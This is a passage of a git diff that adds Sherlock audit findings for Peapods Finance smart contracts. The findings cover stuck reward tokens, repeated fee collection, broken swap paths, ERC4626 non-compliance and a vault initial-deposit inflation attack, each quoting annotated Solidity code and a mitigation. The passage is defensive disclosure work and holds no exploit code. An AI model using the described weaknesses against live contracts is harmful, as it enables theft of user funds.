+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+
+ // @audit-note: This may fail due to slippage.
+@> try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+ _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+
+ // @audit-note: This may fail due to slippage.
+ try indexUtils.addLPAndStake(
+@> pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+
+Note that one may think a "bypass mechanism" is to always add pairedLpTKN to reward whitelist. However, this will introduce more problems. Because pairedLpTKN was added for a lot of pods, attackers can bloat up the `_allRewardsTokens` array of a TokenRewards.sol by depositing 1 wei of all pairedLpTKN, which will cause out-of-gas DoS for reward processing and autocompounding.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L206
+
+```solidity
+ function _isValidRewardsToken(address _token) internal view returns (bool) {
+ return _token == rewardsToken || REWARDS_WHITELISTER.whitelist(_token);
+ }
+
+ function depositRewards(address _token, uint256 _amount) external override {
+ _depositRewardsFromToken(_msgSender(), _token, _amount, true);
+ }
+
+ function _depositRewardsFromToken(address _user, address _token, uint256 _amount, bool _shouldTransfer) internal {
+ require(_amount > 0, "A");
+@> require(_isValidRewardsToken(_token), "V");
+ ...
+ _depositRewards(_token, _finalAmt);
+ }
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ if (_amountTotal == 0) {
+ return;
+ }
+ if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+@> _allRewardsTokens.push(_token);
+ }
+ ...
+ }
+ function getAllRewardsTokens() external view override returns (address[] memory) {
+ return _allRewardsTokens;
+ }
+```
+
+
+### Internal pre-conditions
+
+- A pod sets `LEAVE_AS_PAIRED_LP_TOKEN=false`.
+
+### External pre-conditions
+
+- Autocompounding fails once due to slippage, leaving pairedLpTKN inside AutoCompoundingPodLP contract.
+
+### Attack Path
+
+No attack path required. Explained above.
+
+### Impact
+
+pairedLpTKN would be stuck in AutoCompoundingPodLP contract, leading to loss of rewards.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Make sure to always process pairedLpTKN in `_processRewardsToPodLp()` function.
diff --git a/467.md b/467.md
new file mode 100644
index 0000000..2ff56aa
--- /dev/null
+++ b/467.md
@@ -0,0 +1,142 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp may double collect protocolFee for pairedLpTKN.
+
+
+### Summary
+
+AutoCompoundingPodLp may double collect protocolFee for pairedLpTKN.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+If some of the steps failed due to slippage, pairedLpTKN would be leftover in the contract. Then, we need to start from rewardTKN=pairedLpTKN in the next autocompounding phase again.
+
+The bug here is, the protocolFee is collected after step 1, and it will be collect multiple times for pairedLpTKN.
+
+For example:
+
+1. The first autocompound begins with 1000 tokenA. It successfully swaps to 1000 pairedLpTK, and a protocolFee of 10% is collected, so there are 900 pairedLpTKN left. The autocompounding fails in future steps (e.g. due to slippage), so the 900 pairedLpTKN remains in the contract.
+2. The second autocompound begins with 900 pairedLpTKN. A 10% protocolFee will be collected again, so we only have 810 pairedLpTKN left.
+
+This process can go on and on in the worst case scenario if autocompounding fails a lot of times, eventually all pairedLpTKNs will be fees.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+@> uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ // @audit-bug: Protocol fee will be collected again for the same amount pairedLpTKN.
+@> uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ // @audit-note: Automatically skip rewardTKN -> pairedLpTKN swap if they are the same.
+ if (_token == _pairedLpToken) {
+@> return _amountIn;
+ } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+ _amountIn = maxSwap[_token];
+ }
+ ...
+ }
+
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+
+ // @audit-note: This may fail due to slippage.
+@> try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+ _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+
+ // @audit-note: This may fail due to slippage.
+ try indexUtils.addLPAndStake(
+@> pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- Autocompounding fails due to slippage, leaving pairedLpTKN inside AutoCompoundingPodLP contract.
+
+### Attack Path
+
+No attack path required. Explained above.
+
+### Impact
+
+Fees for pairedLpTKN would be collected multiple times.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Don't collect fees for pairedLpTKN that already processed fees.
diff --git a/468.md b/468.md
new file mode 100644
index 0000000..e8a0b36
--- /dev/null
+++ b/468.md
@@ -0,0 +1,141 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp does not work for advanced self-lending pods with podded fTKN as pairedLpTKN.
+
+
+### Summary
+
+AutoCompoundingPodLp does not work for advanced self-lending pods with podded fTKN as pairedLpTKN.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+This is supposed to also work for self-lending pods. There are two kinds of self-lending pods. The first is the regular one, where the pairedLpTKN for a pod is a fraxlend paired fTKN. However, there is also an "advanced feature", so the pairedLpTKN is a podded fTKN (which makes it a pfTKN). This can be seen in `LeverageManager.sol` contract when initializing a leverage position.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L60
+
+```solidity
+ /// @notice The ```initializePosition``` function initializes a new position and mints a new position NFT
+ /// @param _pod The pod to leverage against for the new position
+ /// @param _recipient User to receive the position NFT
+ /// @param _overrideLendingPair If it's a self-lending pod, an override lending pair the user will use
+@> /// @param _hasSelfLendingPairPod bool Advanced implementation parameter that determines whether or not the self lending pod's paired LP asset (fTKN) is podded as well
+ function initializePosition(
+ address _pod,
+ address _recipient,
+ address _overrideLendingPair,
+ bool _hasSelfLendingPairPod
+ ) external override returns (uint256 _positionId) {
+ _positionId = _initializePosition(_pod, _recipient, _overrideLendingPair, _hasSelfLendingPairPod);
+ }
+```
+
+Now, going back to autocompounding. In step 1, if the pod was a self-lending pod, the rewardTKN -> pairedLpTKN swap is non-trivial, because the liquidity may not be good. So it first swaps rewardTKN to the underlying token, then processes it to the pairedLpTKN.
+
+For a normal self-lending pod, this works well (e.g. swap to USDC, then convert to fUSDC). However, for a podded fTKN as pairedLpTKN, this is not supported. We can see in details how the swap is handled in `_tokenToPairedLpToken()` function.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+@> uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ if (_token == _pairedLpToken) {
+ return _amountIn;
+ } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+ _amountIn = maxSwap[_token];
+ }
+
+ // if self lending pod, we need to swap for the lending pair borrow token,
+ // then deposit into the lending pair which is the paired LP token for the pod
+
+ // @audit-bug: This does not support podded fTKN.
+@> if (IS_PAIRED_LENDING_PAIR) {
+ _swapOutputTkn = IFraxlendPair(_pairedLpToken).asset();
+ }
+
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+ _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+ _amountIn = _amountInOverride;
+ }
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+ IERC20(_rewardsToken).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+ ) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+
+ // @audit-bug: This does not support podded fTKN.
+@> if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+ }
+
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+AutoCompoundingPodLP does not work for advanced self-lending pods. This essentially means the LVF feature for advanced self-lending pods don't work at all.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add support for the feature.
diff --git a/469.md b/469.md
new file mode 100644
index 0000000..eb38326
--- /dev/null
+++ b/469.md
@@ -0,0 +1,122 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp `_tokenToPairedLpToken()` should swap directly from PEAS to pairedLpTKN for self-lending pods.
+
+
+### Summary
+
+AutoCompoundingPodLp `_tokenToPairedLpToken()` should swap directly from PEAS to pairedLpTKN for self-lending pods.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+In step 1, it is handled differently if rewardTKN was PEAS (lpRewardsTKN): 1) If rewardTKN != lpRewardsTKN, it would use a UniV2 swap; 2) If rewardTKN == lpRewardsTKN, it would use a UniV3 swap with a fixed 1% fee pool.
+
+After consulting with the sponsors, the reasoning is they always commit to maintain a Uniswap 1% fee pool PEAS/pairedLpTKN for supported pods (lpRewardsTKN is always PEAS), so the swap should be done here directly.
+
+The issue is, for self-lending pods, we should still be doing a PEAS -> pairedLpTKN swap in UniV3 pool. But the target token `_swapOutputTkn` is actually the underlying token for the pairedLpTKN (e.g. for fUSDC, it would be USDC). This is the correct target token in UniV2 pool swaps (for better liquidity), but is incorrect for UniV3 pool swaps, and it should directly swap to pairedLpTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+@> uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ if (_token == _pairedLpToken) {
+ return _amountIn;
+ } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+ _amountIn = maxSwap[_token];
+ }
+
+ // if self lending pod, we need to swap for the lending pair borrow token,
+ // then deposit into the lending pair which is the paired LP token for the pod
+ if (IS_PAIRED_LENDING_PAIR) {
+@> _swapOutputTkn = IFraxlendPair(_pairedLpToken).asset();
+ }
+
+ address _rewardsToken = pod.lpRewardsToken();
+
+ // @audit-note: If rewardTKN was lpRewardsTKN, use UniV2 swap. Or else use UniV3 swap.
+@> if (_token != _rewardsToken) {
+ _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+ _amountIn = _amountInOverride;
+ }
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+ IERC20(_rewardsToken).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ // @audit-bug: This is wrong for self-lending pods.
+@> _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+ ) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+No attack path required. Explained above.
+
+### Impact
+
+Autocompounding for PEAS reward (lpRewardsTKN) would fail for self-lending pods, leading to loss of rewards.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Directly swap to pairedLpTKN if using the UniV3 pool swap.
diff --git a/470.md b/470.md
new file mode 100644
index 0000000..49bfbd0
--- /dev/null
+++ b/470.md
@@ -0,0 +1,108 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp `_swapV2()` may lead to leftover tokens in multihops.
+
+
+### Summary
+
+AutoCompoundingPodLp `_swapV2()` may lead to leftover tokens in multihops.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+In step 1, if rewardTKN is not PEAS, it would do a UniV2 swap. The swap path is predefined in `swapMaps[in][out]`. The code supports 2 hops, which is inside the `_swapV2` logic.
+
+The bug here is, for 2 hop swaps, the intermediate tokens may be left stuck in the contract, due to the maxSwap limit.
+
+For example, a swap from tokenA -> tokenB -> tokenC. The first swap gets us 10000 tokenB, but we have `maxSwap[tokenB] = 1000`, so there would be 9000 tokenB leftover in the contract.
+
+For future swaps, unless the tokenB output is 0, which is very unlikely to happen, these 9000 tokenB would be forever stuck in the contract.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ ...
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+@> _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ ...
+ }
+
+ function _swap(address _in, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256 _amountOut)
+ {
+ Pools memory _swapMap = swapMaps[_in][_out];
+ if (_swapMap.pool1 == address(0)) {
+ address[] memory _path1 = new address[](2);
+ _path1[0] = _in;
+ _path1[1] = _out;
+ return _swapV2(_path1, _amountIn, _amountOutMin);
+ }
+ bool _twoHops = _swapMap.pool2 != address(0);
+ address _token0 = IUniswapV2Pair(_swapMap.pool1).token0();
+ address[] memory _path = new address[](_twoHops ? 3 : 2);
+ _path[0] = _in;
+ _path[1] = !_twoHops ? _out : _token0 == _in ? IUniswapV2Pair(_swapMap.pool1).token1() : _token0;
+ if (_twoHops) {
+ _path[2] = _out;
+ }
+@> _amountOut = _swapV2(_path, _amountIn, _amountOutMin);
+ }
+
+ function _swapV2(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256 _amountOut)
+ {
+ bool _twoHops = _path.length == 3;
+ if (maxSwap[_path[0]] > 0 && _amountIn > maxSwap[_path[0]]) {
+ _amountOutMin = (_amountOutMin * maxSwap[_path[0]]) / _amountIn;
+ _amountIn = maxSwap[_path[0]];
+ }
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ _amountOut =
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+ if (_twoHops) {
+ // @audit-bug: There may be leftovers.
+@> uint256 _intermediateBal = _amountOut > 0 ? _amountOut : IERC20(_path[1]).balanceOf(address(this));
+@> if (maxSwap[_path[1]] > 0 && _intermediateBal > maxSwap[_path[1]]) {
+ _intermediateBal = maxSwap[_path[1]];
+ }
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ _amountOut = DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- maxSwap[] is set for the intermediate token
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+No attack path required. Explained above.
+
+### Impact
+
+Intermediate token is stuck in contract, leading to loss of rewards.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Always use entire balance of intermediate token for swap.
diff --git a/471.md b/471.md
new file mode 100644
index 0000000..8c9f6f1
--- /dev/null
+++ b/471.md
@@ -0,0 +1,122 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLP is not EIP4626 compliant.
+
+
+### Summary
+
+AutoCompoundingPodLP is not EIP4626 compliant.
+
+### Root Cause
+
+First, the README explicitly states ERC4626 should be complied to:
+
+> Q: Is the codebase expected to comply with any specific EIPs?
+>
+> Many of our contracts implement ERC20 and ERC4626 which we attempt to comply with in the entirety of those standards for contracts that implement them.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L1
+
+According to the https://eips.ethereum.org/EIPS/eip-4626,
+
+1. `previewDeposit()` should always underestimate compared to actual calling `deposit()`. However, currently it overestimates the amount of shares minted, because it does not consider to-be-compounded rewards.
+
+> MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called in the same transaction.
+
+```solidity
+ function _convertToShares(uint256 _assets, Math.Rounding _roundDirection) internal view returns (uint256 _shares) {
+ return Math.mulDiv(_assets, FACTOR, _cbr(), _roundDirection);
+ }
+ // @audit-bug: This does not include rewards, so the asset/reward ratio is smaller, leading to larger amount of shares.
+ function previewDeposit(uint256 _assets) external view override returns (uint256 _shares) {
+ return _convertToShares(_assets, Math.Rounding.Floor);
+ }
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+2. `previewMint()` should always overestimate compared to actual calling `mint()`. However, currently it underestimates the amount of assets required, because it does not consider to-be-compounded rewards.
+
+> MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the same transaction.
+
+```solidity
+ function _convertToAssets(uint256 _shares, Math.Rounding _roundDirection) internal view returns (uint256 _assets) {
+ return Math.mulDiv(_shares, _cbr(), FACTOR, _roundDirection);
+ }
+ // @audit-bug: This does not include rewards, so the asset/reward ratio is smaller, leading to less amount of assets.
+ function previewMint(uint256 _shares) external view override returns (uint256 _assets) {
+ _assets = _convertToAssets(_shares, Math.Rounding.Ceil);
+ }
+ function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _assets = _convertToAssets(_shares, Math.Rounding.Ceil);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+3. Event of `_withdraw()` is incorrect. It should be `emit Withdraw(caller, receiver, owner, assets, shares);`.
+
+> MUST emit the Withdraw event.
+
+> - name: Withdraw
+> type: event
+> inputs:
+> - name: sender
+> indexed: true
+> type: address
+> - name: receiver
+> indexed: true
+> type: address
+> - name: owner
+> indexed: true
+> type: address
+> - name: assets
+> indexed: false
+> type: uint256
+> - name: shares
+> indexed: false
+> type: uint256
+
+```solidity
+ function _withdraw(uint256 _assets, uint256 _shares, address _caller, address _owner, address _receiver) internal {
+ require(_shares != 0, "B");
+
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+
+ _totalAssets -= _assets;
+ _burn(_owner, _shares);
+ IERC20(_asset()).safeTransfer(_receiver, _assets);
+@> emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Integrators may have trouble integrating as ERC4626.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix accordingly.
\ No newline at end of file
diff --git a/472.md b/472.md
new file mode 100644
index 0000000..68f1105
--- /dev/null
+++ b/472.md
@@ -0,0 +1,104 @@
+Keen Jetblack Deer
+
+Medium
+
+# Potential vault initial deposit attack for AutoCompoundingPodLP and FraxlendPair
+
+
+### Summary
+
+Potential vault initial deposit attack for AutoCompoundingPodLP and FraxlendPair
+
+### Root Cause
+
+AutoCompoundingPodLP and FraxlendPair are both ERC4626 vaults. Both contracts are susceptible to the vault initial deposit attack.
+
+Even though both contracts use internal tracking for asset balance, which prevents token transfer donation, however, there are still ways to inflate the asset/share ratio:
+
+1. For AutoCompoundingPodLP, attackers can inflate asset/share ratio by depositing a bunch of rewards, which will then compound to spTKN assets, effectively "donating" assets.
+2. For FraxlendPair, it's a bit complicated. The idea is to borrow token to first increase asset/share ratio to >1, then inflate the asset/share ratio by continuous depositing/withdrawing asset. Asset/share ratio can be increased exponentially. Details and PoC can be found in [Pashov audit report](https://sherlock-files.ams3.digitaloceanspaces.com/additional_resources/peapods_lvf_Pashov_report.pdf) H-04.
+
+Both issues are mitigated by adding a minimumDeposit in the factory contract. However, the mitigation is not incorrect, because the factory contract returns the deposited shares to the deployer. If the attacker was the deployer of the contract (consider the Peapods system is decentralized, so anyone can create a pod), he can simply redeem the shares, and the vaults would be in initial status again.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLpFactory.sol#L41
+
+```solidity
+ function create(
+ string memory _name,
+ string memory _symbol,
+ bool _isSelfLendingPod,
+ IDecentralizedIndex _pod,
+ IDexAdapter _dexAdapter,
+ IIndexUtils _indexUtils,
+ uint96 _salt
+ ) external returns (address _aspAddy) {
+ _aspAddy =
+ _deploy(getBytecode(_name, _symbol, _isSelfLendingPod, _pod, _dexAdapter, _indexUtils), _getFullSalt(_salt));
